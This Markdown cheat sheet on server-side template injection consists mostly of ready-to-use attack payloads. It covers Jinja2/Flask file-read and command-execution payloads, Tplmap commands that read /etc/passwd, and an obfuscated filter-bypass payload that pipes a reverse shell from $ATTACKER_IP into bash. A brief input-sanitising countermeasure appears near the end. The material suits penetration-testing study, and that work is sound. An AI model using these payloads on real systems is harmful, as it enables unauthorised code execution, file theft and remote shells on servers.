65 lines
1.5 KiB
Markdown
65 lines
1.5 KiB
Markdown
|
# Server Side Template Injection (SSTI)
|
||
|
Pass in parameters to control the template.
|
||
|
|
||
|
## Usage
|
||
|
* Sanity test
|
||
|
```python
|
||
|
{{2+2}}
|
||
|
```
|
||
|
|
||
|
* Flask template LFI
|
||
|
```python
|
||
|
{{ ''.__class__.__mro__[2].__subclasses__()[40]()(<file>).read()}}
|
||
|
```
|
||
|
|
||
|
* Executing commands
|
||
|
```sh
|
||
|
{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}
|
||
|
```
|
||
|
|
||
|
* RCE on server
|
||
|
```python
|
||
|
{{config.__class__.__init__.__globals__['os'].popen(<command>).read()}}
|
||
|
```
|
||
|
|
||
|
## Identification of Template Engine
|
||
|
Identify via payload checking
|
||
|
* Smarty: `a{*comment*}b`
|
||
|
* Mako: `${"z".join("ab")}`
|
||
|
* Twig or Jinja2
|
||
|
```sh
|
||
|
{{7*7}}
|
||
|
{{7*'7'}}
|
||
|
```
|
||
|
|
||
|
## Tools
|
||
|
### TPlmap
|
||
|
```sh
|
||
|
git clone https://github.com/epinna/tplmap.git
|
||
|
pip2 install -r requirements
|
||
|
```
|
||
|
|
||
|
|HTTP Method|Parameter|
|
||
|
|-----------|---------|
|
||
|
|GET|`tplmap -u <url>/?<vulnparam>`|
|
||
|
|POST|`tplmap -u <url> -d '<vulnparam>'`|
|
||
|
|
||
|
* Using remote command
|
||
|
```
|
||
|
tplmap -u http://<ip>:<port>/ -d '<vulnparam>' --os-cmd "cat /etc/passwd"
|
||
|
```
|
||
|
|
||
|
### Countermeasure
|
||
|
* Remove everything in user input but alnum. Passing data, not data to f-string.
|
||
|
```python
|
||
|
input = re.sub("[^A-Za-z0-9]", "", input)
|
||
|
template = "User input is {{ input }}"
|
||
|
return render_template_string(template, input=input)
|
||
|
```
|
||
|
|
||
|
## Bypass
|
||
|
* Save reverse shell as `rev`
|
||
|
```sh
|
||
|
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl $ATTACKER_IP:8000/rev | bash")|attr("read")()}}
|
||
|
```
|